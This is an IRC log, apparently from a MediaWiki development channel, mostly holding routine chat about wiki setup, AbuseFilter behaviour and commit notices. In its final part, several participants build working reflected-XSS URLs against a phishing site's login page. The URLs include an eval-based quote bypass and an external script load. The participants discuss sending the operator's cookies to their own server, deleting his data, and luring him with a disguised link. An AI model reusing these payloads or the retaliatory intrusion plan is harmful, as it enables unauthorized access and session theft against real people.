[00:00:06] You'd never seen that one? :-) [00:01:03] there's... an article about it? [00:01:14] http://en.wikipedia.org/wiki/Hidden_Mickey is one someone pointed out to me recently. [00:01:20] Splarka Shmarka [00:01:30] http://poetv.com/video.php?vid=29482 "The Cinco Encyclopedia of Numbers" [00:02:26] Wikipedia Wikischmedia [00:02:49] scavenger hunt: what is the first positive integer on wikipedia with no article or redirect, [[0]] [[1]] [[2]] [[3]] ... [00:04:31] Splarka, [[2601]]? [00:05:14] *werdna andrew-macbook:~ andrew$ perl -e 'for( $i=0; $i<10000;++$i ) { print "[[$i]]\n"; }' > /tmp/1000links [00:05:21] *werdna saves to wikipedia [00:05:28] *werdna looks for redlinks [00:05:42] 2541 [00:05:47] Bah! [00:05:50] Slackers! [00:05:52] heh [00:06:09] okay, now what is the first prime! [00:06:16] 2541 = 3�7�11�11 [00:06:23] 2601 = 3�3�17�17 [00:06:35] a bah on you [00:06:45] http://en.wikipedia.org/wiki/User:Werdna/10000 search that [00:07:13] *werdna could add a prime, but cbb [00:07:57] *Simetrical isn't going to check every prime up to 47 to figure out if 2543 is prime [00:08:09] http://en.wikipedia.org/wiki/Category:Prime_numbers [00:08:21] Simetrical: http://www.math.com/students/calculators/source/prime-number.htm [00:08:32] Yeah, yeah, you and your stupid computers. [00:08:44] Real men calculate primality in their head. [00:08:50] *Emufarmers uses an abacus [00:08:59] Abaci are terrible for division. [00:09:08] It frightens me that you know that [00:09:11] I'm not sure they even work, except by repeated subtraction. [00:09:24] 2543 is indeed prime. [00:09:38] My grandfather gave me an abacus when I was little, and I learned how to use it. [00:09:47] It's pretty simple, but it only really works for addition and subtraction. [00:09:54] http://xkcd.com/247/ [00:10:12] And yet again, I know which it is before I click. [00:11:22] http://en.wikipedia.org/wiki/Suanpan [00:11:35] Simetrical: that's pretty sad [00:12:17] Simetrical: ever read the forum post associated with that one? [00:12:22] Splarka, no. [00:12:45] not that sad, then ^_^ [00:24:23] brion, how does Upload get added to Special:SpecialPages if it doesn't have isListed()? [00:27:15] Emufarmers: it's listed as a generic SpecialPage [00:27:21] so it gets all the default stuff and calls a function [00:28:21] quick, activate the tracking cookie [00:35:08] 14(WFM) Watchlist: Say what "time period" you are talking about - 10https://bugzilla.wikimedia.org/show_bug.cgi?id=17867 +comment (10innocentkiller) [00:47:19] 14(INVALID) Use database instead of filesystem for updateSearchIndex.php position record - 10https://bugzilla.wikimedia.org/show_bug.cgi?id=11654 +comment (10innocentkiller) [00:48:14] <^demon> I hate bugs based on hypothetical edge cases no one actually has. [00:51:08] 03aaron * r49742 10/trunk/phase3/includes/specials/ (SpecialBlockip.php SpecialRevisiondelete.php): Change for bug 18383, suppress user/talk page on user suppression [00:52:48] 03aaron * r49743 10/trunk/phase3/includes/specials/SpecialRevisiondelete.php: revert code from r49742 accidentally committed [00:55:06] 03(mod) RevisionDelete: hidden users appear in log entries created after the hiding - 10https://bugzilla.wikimedia.org/show_bug.cgi?id=18383 (10JSchulz_4587) [00:56:29] http://asdf.org/~fatphil/maths/illegal.html [00:56:39] AaronSchulz: That will be reversible, right? [00:57:28] it's just deletion [00:57:52] not oversight [00:57:57] But then you have deletion logs... [00:58:14] Will those be manually suppressed? [00:58:24] it's logged privately [00:58:37] just log all suppression stuff [01:00:06] So you have "BadUser1" with his user and user talk page. He gets hidden and the user and user talk pages get deleted. And then those deletion log entries get suppressed? (Or are you talking about putting it directly in the suppress log?) [01:01:26] directly [01:01:43] That sounds bad. [01:02:01] If you navigate to the page, it will just have disappeared without trace? [01:27:25] 03nad * r49744 10/trunk/extensions/CategoryWatch/ (CategoryWatch.i18n.php CategoryWatch.php): make articles and cats in emailed message into links [01:53:44] @search private [01:53:44] --mwbot-- Results: [botinfo, secrets] [01:53:49] Hrm. [01:54:06] Anyone remember the factoid with info about protecting stuff from viewing in MediaWiki? [01:55:35] !secrets [01:55:35] --mwbot-- MediaWiki was not designed with read-restrictions in mind, and may not provide air-tight protection against unauthorized access. We will not be held responsible should private information, such as a password or bank details, be leaked, leading to loss of funds or one's job. [01:55:59] Hmm, no link to the page I was looking for in that factoids [01:56:01] *factoid [01:57:14] !lockdown | chuck [01:57:14] --mwbot-- chuck: Lockdown is an extension for preventing read or write access by namespace and limiting access to special pages. For more information, see < http://mediawiki.org/wiki/Extension:Lockdown >. For general information on preventing access to your wiki, see < http://www.mediawiki.org/wiki/Manual:Preventing_access >. [01:57:44] How can you change those/ [02:00:01] Ah, thanks [02:03:02] !secrets is MediaWiki was not designed with read-restrictions in mind, and may not provide air-tight protection against unauthorized access. We will not be held responsible should private information, such as a password or bank details, be leaked, leading to loss of funds or one's job. See also !lockdown [02:03:02] --mwbot-- You don't have permission to do that. [02:03:26] *Mike_lifeguard suggests someone who does have permission should do it then 9.9 [02:07:13] @trusted [02:07:13] --mwbot-- [s23.org, wikia/.*, cc1081997-b.harli1.fr.home.nl, .*\.wikimedia\.org, wikipedia/.*, 222-153-0-95.jetstream.xtra.co.nz, .*\.flyingparchment\.org\.uk, sm.xs4all.nl, wikimedia/.*, silentflame/member/pdpc.base.minuteelectron, cpe-69-201-152-135.nyc.res.rr.com, rbak-164-107-218-33\.resnet\.ohio-state\.edu, unaffiliated/smaug, pdpc/supporter/student/werdnum, cc1269927-a.harli1.fr.home.nl, c-67-171-249-42.hsd1.wa.comcast.net, 217.121.122.151] [02:07:33] o_O [02:07:39] use PM for those kinds of commands [02:07:43] Looks like the bot is prejudices against people without wikipedia, wikimedia, or wikia cloaks :P [02:10:11] I updated it [02:10:49] carl-m: I think you accidentally added in an extra space a few times [02:12:09] thanks, fixed. that's gnome-terminal inserting spaces for newlines when you select text [02:27:02] good evening everyone [02:28:33] wondering if anyone has had any experience using: Extension:Auth via MySQL http://www.mediawiki.org/wiki/Extension:Auth_viaMySQL [02:43:58] pretty sure I found a typo in the docs... [02:44:15] 03nad * r49745 10/trunk/extensions/CategoryWatch/CategoryWatch.i18n.php: remove categorywatch-emailbody message and clarify other messages [02:44:20] should be super-easy to commit, but I need a committer :/ [02:44:26] http://svn.wikimedia.org/viewvc/mediawiki/trunk/phase3/docs/memcached.txt?view=markup [02:45:04] in the == Setup == section near the top, there is a memcached command and then a sentence which tries to explain what it is doing [02:45:09] but the sentence uses the wrong port-number [02:46:11] Sean_Colombo: I'll take a look, one sec. [02:46:50] thanks chuck [02:48:09] 03(mod) Uncategorized categories/pages/templates refactoring - 10https://bugzilla.wikimedia.org/show_bug.cgi?id=12942 +comment (10jidanni) [02:49:46] Aaaand... [02:49:56] 03charlie * r49746 10/trunk/phase3/docs/memcached.txt: Fixing port error in Memcached docs (Reported by Sean_Colombo in IRC.) [02:49:58] Voila! [02:50:01] w00t [02:50:03] thanks! :) [02:50:06] now I can sleep [02:50:15] literally... good night & thanks chuck [02:50:20] heh, cya [02:55:12] 03werdna * r49747 10/branches/preferences-work/extensions/FlaggedRevs/FlaggedRevs.php: Fix default for flaggedrevssimpleui [02:58:49] 03werdna * r49748 10/branches/preferences-work/ (3 files in 2 dirs): [02:58:49] Improve array handling by removing special-case logic for gadgets and [02:58:49] searchnamespaces and adding a generic loader for multi-select field types. [02:58:49] Includes a minor interface change -- by default, getOption now returns null, not [02:58:49] ''. [03:04:20] 14(DUP) linking to anchors in Special Pages, when not English - 10https://bugzilla.wikimedia.org/show_bug.cgi?id=17629 +comment (10jidanni) [03:04:22] 03(mod) {{int:X}} respects user-defined interface language, breaking link tables etc. (aka {{USERIFCODE}} strikes back) - 10https://bugzilla.wikimedia.org/show_bug.cgi?id=14404 +comment (10jidanni) [03:10:34] 03(mod) Add --list-authors option to dumpBackup - 10https://bugzilla.wikimedia.org/show_bug.cgi?id=16082 +comment (10jidanni) [03:22:15] 03(mod) Integrate TinyMCE into mediawiki - 10https://bugzilla.wikimedia.org/show_bug.cgi?id=17668 +comment (10jidanni) [03:23:08] 03werdna * r49749 10/branches/preferences-work/phase3/maintenance/ (archives/patch-user_properties.sql tables.sql): Change varchar(255) to varbinary(32). [03:32:10] 03nad * r49750 10/trunk/extensions/CategoryWatch/CategoryWatch.php: use normal watchlists enotif_body message structure [03:34:59] 03(mod) Integrate TinyMCE into mediawiki - 10https://bugzilla.wikimedia.org/show_bug.cgi?id=17668 +comment (10charlie) [03:38:04] 03werdna * r49751 10/trunk/extensions/AbuseFilter/AbuseFilter.parser.php: Merge in r49312 from preferences-work -- non preference related performance improvement to the AbuseFilter parser [03:41:24] 03(mod) Add link to filtered Abuse filter log on Special:Contributions - 10https://bugzilla.wikimedia.org/show_bug.cgi?id=18423 (10agarrett) [03:46:16] 14(WFM) Some Abuse Filter log entries shouldn't be there as the actions doesn't match the stated filter - 10https://bugzilla.wikimedia.org/show_bug.cgi?id=18490 +comment (10agarrett) [04:12:11] 03nad * r49752 10/trunk/extensions/CategoryWatch/ (CategoryWatch.i18n.php CategoryWatch.php): Can't use wikitext links because email content is text [04:15:45] 03nad * r49753 10/trunk/extensions/CategoryWatch/CategoryWatch.php: Use prefixed titles in emailed message [04:16:38] 03nad * r49754 10/trunk/extensions/CategoryWatch/CategoryWatch.php: typo [04:20:38] 03nad * r49755 10/trunk/extensions/CategoryWatch/CategoryWatch.php: editdate must be calculated inside loop [04:24:09] 03werdna * r49756 10/trunk/extensions/AbuseFilter/ (7 files in 2 dirs): Add import/export interface for filters so that filters can be copied across wikis [04:24:47] 03(FIXED) Easy way to copy filters from one wiki to another - 10https://bugzilla.wikimedia.org/show_bug.cgi?id=18140 +comment (10agarrett) [04:27:43] 03nad * r49757 10/trunk/extensions/CategoryWatch/CategoryWatch.php: add links in brackets after article name and cat name [04:30:30] 03werdna * r49758 10/trunk/extensions/AbuseFilter/ (AbuseFilter.i18n.php Views/AbuseFilterViewTestBatch.php): Allow filtering by page on AbuseFilter batch testing interface [04:30:54] 03(FIXED) Allow restriction by page for AbuseFilter batch testing - 10https://bugzilla.wikimedia.org/show_bug.cgi?id=18287 +comment (10agarrett) [04:41:51] 03nad * r49759 10/trunk/extensions/CategoryWatch/CategoryWatch.php: friendly links need to be added after array_diff [04:57:10] What other conferences exist which are similar to fosdem? [05:02:15] http://en.wikipedia.org/wiki/Category:Free_software_related_events_and_awards [05:02:26] http://en.wikipedia.org/wiki/Category:Linux_conferences [05:03:32] Do we send people to any of those? ( which I should have asked up front :D ) [05:03:42] We? MediaWiki? [05:04:32] sure, or related projects [05:05:06] I'd peek at Brion's user page on en.wiki. [05:05:12] And past versions. [05:06:31] http://en.wikipedia.org/wiki/File:Wth_police_truck.jpg XD [05:07:32] *Mike_lifeguard sighs [05:07:40] nothing exciting ever happens here :P [05:26:17] morning [05:27:41] rar rabbit [05:57:33] Is there an extension for randomly selecting quotes? [05:57:53] 03(mod) Some Abuse Filter log entries shouldn't be there as the actions doesn't match the stated filter - 10https://bugzilla.wikimedia.org/show_bug.cgi?id=18490 (10mikelifeguard) [05:57:54] yeah you can probably do it [05:58:50] http://www.mediawiki.org/wiki/Extension:RandomSelection [05:59:02] pretty simple random thingamajig [05:59:03] ty Splarka [05:59:26] werdna: You know that abuse filter logs rollbacks that dont succede? [06:00:20] IE If you rollback a page and it trips a filter, if the rollback fails becuase someone bet you it still gets logged [06:00:30] to^ [06:00:32] Can you show me a test case? [06:02:21] http://en.wikipedia.org/wiki/Wikipedia_talk:Abuse_filter#Ghost_edits_in_the_filter_logs [06:02:21] Some people were noticing "ghost" edits in the abuse filter logs [06:04:59] can null edits trigger the abuse filter? [06:05:46] In that particuler case Z-man put it down to "the abuse filter triggered before MediaWiki checked whether the rollback was valid." [06:05:57] so apparently yes [06:06:15] depends what you mean by null edit [06:07:01] if you mean an edit that is invalid for reasons other than the abuse filter, then yes the AF will still process it as if it was actually made [06:07:33] Im curious if an edit conflict would cause the same thing that the rollback did [06:10:03] I suppose the real question is do we charge a man for murder when is gun failed to fire even though he pulled the trigger? [06:10:19] his^ [06:11:05] If the answer is no then werd need to see if he can alter the AF to trigger after ec checks [06:11:15] If the answer is yes then there is no problem [06:12:12] and in a way it should trigger after that anyway becase it will be triggering on those edits which chews up resources unnercerily [06:16:08] thats another interesting theroy [06:16:17] "Other times things like this can happen if a user trips multiple filters, where one only logs but the other warns or disallows, if one only sees the log-only hit, it'll look like a phantom edit, but it was actually stopped by another filter." [06:17:43] A renowned vandal could bypass all the regex in the world by tripping a filter that logs before his edit runs through other filters (that might warn, disallow or block autopromote) [06:19:24] Werdna: does an edit run through all the filters or does it run untill first hit? [06:23:29] I knew it [06:23:41] Werdna we got a problem' [06:24:00] Prom_cat|Sleep: http://mantiseye.com/img/caps/102/scr05.jpg [06:24:13] http://en.wikipedia.org/w/index.php?title=Wikipedia%3AABUSEFILTER&diff=285603559&oldid=266889650 [06:24:30] I tripped the redirect filter so it didnt block the poop vandalism [06:25:58] Im going to do another test [06:30:14] Prom_cat|Sleep: sorry I was looking away. [06:30:44] werdna: check the diff above [06:30:45] Prom_cat|Sleep: all filters are run [06:30:52] no they arnt [06:31:04] yes they are [06:31:08] I changed a redirect to poop [06:31:18] Which filter should it have matched? [06:31:21] by tripping the redirect rule it didnt block the poop [06:31:34] which filter? [06:31:55] http://en.wikipedia.org/wiki/Special:AbuseFilter/35 [06:31:55] and [06:32:00] http://en.wikipedia.org/wiki/Special:AbuseFilter/46 [06:32:11] Its would have tripped the redirect filter first [06:32:32] oh [06:32:33] duh [06:32:37] wrong namespace [06:32:42] lets try again [06:32:47] Just trust me. [06:32:55] ok [06:33:13] werdna: What about the triggering on false edits? [06:34:11] "triggering on false edits" [06:34:14] can you show me a test case? [06:34:40] The filed rollback that trigered the abuse filter [06:34:46] failed^ [06:35:01] ie http://en.wikipedia.org/wiki/Wikipedia_talk:Abuse_filter#Ghost_edits_in_the_filter_logs [06:38:49] I don't see a bug [06:40:53] hi werdna [06:43:09] hey Nikerabbit [06:50:04] 03straussd * r49760 10/civicrm/vendor/civicrm/current/ (53 files in 36 dirs): Update to 2.2.2. [06:58:07] awww [07:01:32] 03straussd * r49761 10/civicrm/vendor/civicrm/2.2.2/ (107 files in 36 dirs): Tag CiviCRM 2.2.2. [07:06:49] 03straussd * r49762 10/civicrm/trunk/sites/all/modules/civicrm/: Update merge properties. [07:07:46] 03straussd * r49763 10/civicrm/trunk/sites/all/modules/civicrm/: Set up svnmerge.py metadata. [07:09:56] *Splarka bites chzz [07:10:19] ow [07:11:34] create the link via JS (or modify the link after, in JS, leaving the other as fallback) [07:12:05] JS has access to the username? [07:12:09] yah [07:12:14] Jolly good, thx. [07:12:18] *chzz slopes off to learn JS [07:12:58] so like [http://link.to/java/irc/thing.htm?username=Anothernoob Java IRC help] [07:14:18] & then the java tries to change it to a stripped username+_Java [07:14:25] yep, can see how that could work [07:14:35] sec [07:15:02] http://p.defau.lt/?CyY_6T36VuHvuxayhpQBQw [07:15:23] possibly encodeURIComponent on the wgUserName [07:15:31] possibly restrict to certain pages, etc [07:16:56] will actually not be the URL sub, but a - but yes [07:17:36] you're embedding the java applet in the wiki page? [07:20:00] current launch from http://toolserver.org/~bjelleklang/pjirc/index-2.php which takes info filled in on the default doc in http://toolserver.org/~bjelleklang/pjirc/ [07:21:12] The PJIRC doc explains that nick (as well as channel etc) can be passed to the applet [07:22:22] well, then it will be in the URL, as a parameter to the toolserver pjirc [07:24:19] just found the default index is index.php; so yes, that could use code like you suggested to extract the name, instead of asking for one [07:26:48] 16 char limit, so strip name, chop to 14, and add make it username_j [07:26:50] or someth [07:27:35] will need to replace space with _ too [07:27:57] http://en.wikipedia.org/wiki/Special:ExpandTemplates?input=%3C%21--+Scroll+to+the+bottom+of+the+page+and+click+the+link+--%3E%0D%0A%0D%0A%5Bhttp%3A%2F%2Fwww.google.com%2Fsearch%3Fq%3D%7B%7BREVISIONUSER%7D%7D%20Click%20Here!%5D [07:28:15] hackish [07:28:34] where no revision exists, {{REVISIONUSER}} acts like {{CURRENTUSER}} would [07:29:02] so in Special:ExpandTemplates or Special:Code or on preview etc [07:29:14] that's neat [07:29:38] it is a bug, in that context, and the best way to get a bug fixed is to exploit it as a feature [07:30:31] yes; i see. Well, if there's no revisions, then there's no caching issues [07:31:18] yes, but this might be fixed in this context, so that trick shouldn't be relied on ^_^ [07:32:00] yep, well, it'd be a messy solution anyway - trying to make the 'click to talk' as simple as poss for the user [07:32:06] I can see how the java could work tho [07:33:53] The existing uses [07:34:08] ...which I guess the applet enumerates to a random increment or someth [07:34:21] ...so that's the 'backup' [07:38:51] 03(mod) Preferences: unify filter options of recent changes, new pages, watchlist, rechent changes linked, - 10https://bugzilla.wikimedia.org/show_bug.cgi?id=18524 (10bugzilla.wikimedia) [07:43:05] 03(NEW) Wikipediacentric wording in message "sf createtemplate aggregationdesc" - 10https://bugzilla.wikimedia.org/show_bug.cgi?id=18558 trivial; Normal; MediaWiki extensions: SemanticForms; (bugzilla.wikimedia) [07:50:07] 03(NEW) "Right-hand-side"in message may be wrong in RTL wikis. - 10https://bugzilla.wikimedia.org/show_bug.cgi?id=18559 enhancement; Normal; MediaWiki extensions: SemanticForms; (bugzilla.wikimedia) [07:52:45] 03(NEW) Include form name as $1 in message "sf createproperty linktoform" - 10https://bugzilla.wikimedia.org/show_bug.cgi?id=18560 minor; Normal; MediaWiki extensions: SemanticForms; (bugzilla.wikimedia) [07:54:02] 03(NEW) Include input field as parameter $1 in message "sf createcategory makesubcategory" - 10https://bugzilla.wikimedia.org/show_bug.cgi?id=18561 minor; Normal; MediaWiki extensions: SemanticForms; (bugzilla.wikimedia) [07:54:43] Splarka: and what should it return in that case? [07:55:26] probably nothing, or a [07:55:42] http://www.mediawiki.org/wiki/Special:Code/MediaWiki/48837#c2256 [07:55:58] the problem is, it has to do this in order to work with subst: [07:57:04] when are we going to talk Splarka into doing development ;)_ [07:58:05] 'con'gress/'pro'gress, 'dev'elopement/'en'velopement [07:58:20] I do sorta the opposite of whatever devs seem to do, a valid counterpoint [07:58:49] *Splarka bites werdna [08:12:15] Where did the extra E come from? [08:14:16] 04(REOPENED) linking to anchors in Special Pages, when not English - 10https://bugzilla.wikimedia.org/show_bug.cgi?id=17629 +comment (10nospam) [08:27:45] 03(mod) linking to anchors in Special Pages, when not English - 10https://bugzilla.wikimedia.org/show_bug.cgi?id=17629 (10herd) [08:28:10] moin [08:31:38] Hi there. [08:31:49] I think I broke somethin in my database with mediawiki :). Tried to get uploads working and images and became lil bit frustraded, retried and now I get an error when I want to list uploaded files: http://nopaste.info/bdfd8aa6b4.html any suggestions? [08:40:06] t4c: yes, Special:ListFiles is broken for PostgreSQL on 1.14 [08:40:35] will be fixed in 1.15 [08:40:49] ialex: ahh this explains this. [08:41:13] But I have another problem with uploading images. I uploaded the image, but cant view it. [08:41:32] https://www.digital-bit.ch/wiki/images/8/80/2_t4c_side.jpg get a link like this [08:41:44] after clicking: There is currently no text in this page. You can search for this page title in other pages, search the related logs, or edit this page. [08:42:10] could this be a broken mod_rewrite rule? [08:42:44] http://nopaste.info/79d2e4d471.html redirecting takes place like this [08:42:59] t4c: this is a problem with your rewrite rules [08:44:10] mmmh [08:45:33] t4c: that should not link to a wiki page [08:47:39] ialex: tried both modrw from the wikidoku :( [08:52:01] Greetings. Is there a way to "password protect" certain pages, or allow only a few members to view/edit certain pages ? [08:53:29] 03(mod) Uncategorized categories/pages/templates refactoring - 10https://bugzilla.wikimedia.org/show_bug.cgi?id=12942 +comment (10roan.kattouw) [08:53:36] !cms [08:53:36] --mwbot-- Wikis are designed for openness, to be readable and editable by all. If you want a forum, a blog, a web authoring toolkit or corporate content management system, perhaps don't use wiki software. There is a nice overview of free tools available at including the possibility to try each system. For ways to restrict access in MediaWiki, see !access. [08:54:15] the only guarnateed secure way to do that is to use separate wikis (which can use the same install, and same user database, see !farm ) [08:54:23] ^guaranteed, meh [08:54:30] Yes I agreea, but the wiki format is something that fits perfectly to 90% of our job [08:54:45] !farm [08:54:45] --mwbot-- To run multiple wikis, you can simply install MediaWiki in different folders, with different databases or in one with database prefixes. You can also have multiple wikis using a single installation: and . [08:54:57] what I mean is, it is not /designed/ to do that [08:55:09] Use a separate database for private content. MediaWiki has an all or none model. [08:55:20] there are some things that approximate it, but if your job relies on keeping those secrets secret, don't do it [08:55:34] See also: !secrets and !worstcase [08:55:44] and !morbo [08:55:55] Ok. Thanks for the suggestions [08:57:06] see http://board.wikimedia.org/ for an example of an actual read-restricted wiki with big secrets protected from prying eyes [08:58:12] Huge secrets. [08:58:37] Well I managed to make it hidden from guests. I was planning to set a few pages to be viewable just for some members, which are in different groups ( eg not all are sysops, etc. ) [08:59:07] you can use the read whitelist for a subset of pages made visible, if ya want [08:59:37] but if you plan to restrict read access from anyone with edit access to other pages, that is ... spooky [08:59:58] :)) [09:00:17] Yeah, I should have chose a forum for that. However is far to ate for that now [09:00:31] I'll look at what you guys suggested. Thank you again [09:09:10] hi dumb question here but... someone has some nice tables in their wiki (class="wikitable") how do I read the css they use? [09:09:20] the MediaWiki:Common.css for their wiki is blank [09:09:33] I was hoping to just copy their MediaWiki:Common.css onto mine [09:09:50] but I figure I need to 'dig out' the css from their site somehow [09:10:43] faceface: MediaWiki:Monobook.css ? [09:11:30] lemmy look [09:11:49] blank [09:12:17] where would class 'wikitable' be defined normally? in some skin I guess? [09:12:24] faceface, do you have the developer toolbar for firefox installed? [09:12:49] *web developed [09:12:59] bah, s/d/r/ [09:13:09] wikitable was added to core recently [09:13:17] are they running 1.15 ? [09:13:55] found it /* wikitable/prettytable class for skinning normal tables */ [09:14:14] Splarka: prolly [09:14:33] found it in a file called /w/skins/referencebook/main.css [09:14:46] but MediaWiki:ReferenceBook.css was blank [09:14:48] Ah, then referencebook seems to be their custom skin [09:14:54] right [09:14:56] and very recently copied from Monobook [09:15:03] unless they just stuck wikitable in there earlier [09:15:28] Splarka: sorry, but where can I find a list of css classes for tables? (one in distribution that is) [09:16:43] ehm [09:16:47] *faceface edits MediaWiki:Common.css to add the wikitable classed defined on that site [09:17:14] http://svn.wikimedia.org/viewvc/mediawiki?view=rev&revision=48842 [09:17:19] this is where wikitable was added [09:17:30] and as far as I remember, that is the first class added for tables [09:17:53] there are some other styles that apply to tables, like a white background, and for specific tables like tablepagers... [09:18:10] but there is no list of these, really [09:18:30] *faceface documetns it all up neatly in the manual [09:18:39] things like sortable are in there though right? [09:19:21] just grep /skinks for all .css that define 'table.' and 'table#', heh [09:19:54] hmm, well, sortable table classes are used by the javascript [09:20:19] so they aren't really a "css class", at least sofarinasmuch as css doesn't use them [09:20:57] wow that looks really bad on my site... I guess I'm not seeing the whole story [09:21:48] http://en.wikipedia.org/wiki/Wikipedia:Catalogue_of_CSS_classes this is very site-centric, but the upper section is a bit helpful [09:21:52] *faceface bites teh bullet and just sets border="1" as usual [09:21:59] ty Splarka [09:22:01] note most of those classes are in CSS for that site [09:28:07] 03werdna * r49764 10/branches/preferences-work/phase3/includes/HTMLForm.php: Add importData() method, for a clear way to import form data programmatically. [09:29:43] 03siebrand * r49765 10/trunk/extensions/AbuseFilter/AbuseFilter.i18n.php: Use {{int:key}} instead of plain text in 'abusefilter-import-intro' [09:30:34] 03siebrand * r49766 10/trunk/extensions/AbuseFilter/Views/AbuseFilterViewImport.php: svn:eol-style native [09:30:42] 03werdna * r49767 10/branches/preferences-work/phase3/includes/HTMLForm.php: Allow partial imports with importData() [09:37:25] 03werdna * r49768 10/branches/preferences-work/phase3/includes/HTMLForm.php: Move UI logic from trySubmit() to show() [09:39:32] 03purodha * r49769 10/trunk/extensions/MetavidWiki/languages/MV_Messages.php: [09:39:32] "MetaVid" spelt consistently, overly abbreviated msg clarified as of requests of [09:39:32] EugeneZelenko at [09:39:32] http://translatewiki.net/w/i.php?title=Support&oldid=1191977#Mv_edit_strea_docu [09:39:32] and [09:39:33] http://translatewiki.net/w/i.php?title=Support&oldid=1191977#Mv_file_desc_label [10:28:19] 03ialex * r49770 10/trunk/phase3/includes/ (5 files): [10:28:19] Documentation fixes: [10:28:19] * corrected @param syntax [10:28:19] * removed useless @private/@public/@access [10:28:19] * removed @abstract and replaced by "STUB" as in FileRepo and File classes [10:30:10] Hello, I use MediaWiki local as a personal wiki with XAMPP.. The problem is that it is really slow, the remote one on my webspace is faster! What can I do to speed it up? [10:30:30] hi Marius [10:30:39] hi faceface [10:31:02] install APC (which will make php faster) and configure MW to use it, which will make MW faster too [10:31:07] Marius == Mariux? [10:31:13] *werdna lols. [10:31:22] Somebody is trying to "live phish" me [10:31:28] faceface: no! [10:31:35] ok :-) [10:31:52] :) [10:32:56] flyingparchment: But on my server it is not installed either.. is there no other possibility? It seems like MW nor Firefox is caching at all.. [10:36:11] 03(NEW) Indicate in output whether an interwiki link is marked local - 10https://bugzilla.wikimedia.org/show_bug.cgi?id=18562 enhancement; Normal; MediaWiki: Page rendering; (happy-melon) [10:42:45] \msg werdna Hello, I represent your bank and/or credit card company. There has been a rash of security problems and identity theft at your bank and/or credit card company, please re-enter your bank account and/or credit card username, number, and password below [10:43:08] this will help us secure the safety of your bank account and/or credit card by resetting the password. [10:43:44] Splarka: yeah but I just XSS'd him. [10:43:49] http://login.tbibin.com/login.php?do=login&s=format&e=%22/%3E%20%3Cscript%3Ealert%28window.location%29;%3C/script%3E [10:43:57] he sent me his phishing scam [10:44:01] IXSS'd him back [10:44:34] mmmm, phried phish [10:44:51] Splarka: suggestions for XSSing? [10:45:14] How do I make a icon like Wikipedia has instead of its licence logo saying "A WIKIMEDIA project"? [10:46:50] werd: dunno, I'd need more info probably, and less benadryl [10:47:38] svip_: use $wgCopyrightIcon [10:47:39] he's got MSN usernames and passwords behind that URL [10:48:01] But the link, ialex, doesn't the text at the bottom also use that link? [10:48:04] /me mostly interested in the amusing academic challenge of brekaking it. [10:48:11] $wgCopyrightIcon = 'Wikimedia Foundation'; [10:48:12] magic_quotes_gpc is on on his server [10:48:20] Ooooooo [10:48:23] Thank thee, Splarka. [10:48:48] which means no quotes in the injected code [10:49:17] hmm [10:49:28] 2nd try :), I have added modrewrite to my wiki but uploaded images don't work, now there comes a new wiki page no image :( http://nopaste.info/79d2e4d471.html - https://www.digital-bit.ch/wiki/Images/8/80/2_t4c_side.jpg [10:49:37] any suggestions for me [10:49:45] ideally I could steal his cookies. [10:50:17] then go and delete all his data. [10:50:38] An arbitrary execution vulnerability would be nice, but I can't see one [10:50:44] hang on, he's trying to befriend me [10:50:56] I'm gonna try and social engineer the source code out of him [10:51:00] lol [10:51:05] oh, I have an idea [10:51:55] t4c: try to do the same for images as you have for skins (in the rewrite rules) [10:52:07] ialex: tried this, didn't work :) [10:52:31] *Splarka thinks [10:52:58] "^/wiki/[iI]mages.*$" => "$0", [10:53:13] Splarka: I think I have an idea. [10:53:13] Is there a time range when the new url fetch would be applied to commons? [10:54:36] Where can I find documentation on writing custom jobqueue jobs? [10:54:45] !class Job | davidt [10:54:45] --mwbot-- davidt: See http://svn.wikimedia.org/doc/classJob.html [10:55:55] RoanKattouw: Thanks a lot. [10:56:28] werdna: Does JS have access to his cookies? If so, use an iframe to submit it to a PHP script on your server [10:56:36] Splarka http://test.wikipedia.org/wiki/User:Chzz/test link to java displaying document.write(wgUserName); [10:56:46] Splarka fails; prob me being very stupid? [10:57:42] RoanKattouw: yeah I'm working on it [10:58:28] is there like EditPage::attemptSave but for preview? basically i need some way to get some data from request and put it to the wiki page source before showing the preview [10:58:50] chzz: sec [10:58:57] i know how to get the data. i just don't know ~when~ to put it to the page source :) [11:01:28] Splarka: hmm, need a URL decode function [11:01:35] does one exist in JS? [11:01:58] what's the image import feature called on mediawiki? [11:02:26] werdna: decodeURI() and decodeURICompnent() [11:02:33] but I can't see how to define stuff without quotes [11:02:50] you can get a quote via String.fromCharCode(39) or String.fromCharCode(34)... [11:02:54] and you can eval() it... [11:02:56] whee [11:03:02] Splarka: here you go [11:03:02] but you still need to put quotes around the data somehow [11:03:04] http://login.tbibin.com/login.php?do=login&s=format&e=%22/%3E%20%3Cscript%3Eeval%28decodeURIComponent%28window.location.href.substr%28148%29%29%29;%3C/script%3Ealert%28%22HAHAHA%22%29; [11:03:43] hmmm [11:03:54] clever [11:04:00] now you can replace alert( HAHAHAHAHA with whatever you want [11:04:08] *Splarka has another idea now [11:04:09] and the quotes won't be fucked up. [11:04:16] That is clever [11:05:01] *Splarka tests [11:05:08] view-source:http://login.tbibin.com/login.php?do=login&s=format&e=%3Cscript+src%3Dhttp%3A%2F%2Fwww.google.com%2Fnaughty.js%3E%3C%2Fscript%3E [11:05:26] http://login.tbibin.com/login.php?do=login&s=format&e=%3Cscript+src%3Dhttp%3A%2F%2Fwww.google.com%2Fnaughty.js%3E%3C%2Fscript%3E [11:05:30] xml parameter values without spaces don't need quotes [11:05:43] awesome [11:05:48] but mine is cleverer and more fun :) [11:05:54] yah yah [11:06:10] you forgot the "/> [11:06:18] w/e [11:06:25] wasn't even loading it, view source ftw [11:06:39] so what are we going to actually do [11:06:53] how do you get him to visit the link? [11:07:19] um, he's eating out of my hand at the moment [11:07:25] k [11:07:29] you might wanna over-encode it all btw [11:07:30] begging me to be his friend [11:07:36] I'll just tinyurl it [11:07:42] or alternatively set up a script [11:07:47] and tell him it's my webpage [11:07:52] but actually have it redirect to that site [11:08:01]